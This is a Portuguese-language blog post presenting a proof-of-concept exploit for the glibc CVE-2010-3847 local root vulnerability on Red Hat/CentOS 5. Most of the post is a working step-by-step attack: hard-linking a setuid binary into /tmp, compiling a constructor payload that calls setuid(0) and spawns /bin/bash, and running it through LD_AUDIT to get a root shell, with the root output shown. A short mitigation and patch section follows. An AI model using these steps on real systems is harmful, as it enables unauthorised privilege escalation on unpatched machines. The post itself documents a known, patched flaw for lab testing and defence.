Executando o exploit no pacote glibc-2.5.49.el5_5.i686 CVE-2010-3847 escala de privilégios -> root em qualquer Linux
A falha que estou falando é notícia no site underlinux.org
http://under-linux.org/privilegios-de-root-atraves-de-vulnerabilidade-na-biblioteca-gnu-c-1855/ e maiores detalhes em:
https://bugzilla.redhat.com/show_bug.cgi?id=643306 e em http://secunia.com/advisories/cve_reference/CVE-2010-3847/, pois até a data deste artigo a pedido do fabricante não liberam no CVE, mais informações
OBS: Testado e comprovado com sucesso em VM local que produzi em LAB, mas não utilizando a produção ou derivados. Tenha cuidado.
O autor deste artigo não se responsabiliza por dados mediante este artigo ou derivados.
PoC Exploit (Proof of Concept Exploit)
Crie um usuário teste, set a senha e depois autentique com o mesmo
$ mkdir /tmp/exploit
$ ln /bin/ping /tmp/exploit/target
$ exec 3< /tmp/exploit/target
$ ls -l /proc/$$/fd/3
$ rm -rf /tmp/exploit/
$ ls -l /proc/$$/fd/3
$ cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system(“/bin/bash”);
}
^D
(Ctrl+D) <— parte as teclas para salvar e sair
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
$ LD_AUDIT=”\$ORIGIN” exec /proc/self/fd/3
# whoami
root
id
uid=0(root) gid=500(teste)
Mitigação
========
Evitar de criar usuários em filesystems sem permissão nosuid
Caso não seja possível, há um paleativo:
# mount -o bind /tmp /tmp
# mount -o remount,bind,nosuid /tmp /tmp
Solução
=======
Atualizar glibc-2.5.49.el5_5.i686 -> com yum update caso já haja glibc atual.
Foi exploitado sem sucesso em uma VM Local no CentOS 5.5, sem sucesso. O que pude concluir que a atualização da glibc contorna a falha, mas deve-se avaliar melhor e com cautela, pois a atualização da glibc, sem total atualização do SO de CentOS 5.3 -> CentOS 5.5 pode o acarretar em “crash” total do SO, devido à esta biblioteca ser uma das principais do SO.
Qualquer dúvida, estou à disposição.
@firebitsbr
firebits.wordpress.com
http://www.backtrack.com.br
http://www.backtrack-linux.org
firebits@backtrack.com.br
Nenhum comentário:
Postar um comentário
Observação: somente um membro deste blog pode postar um comentário.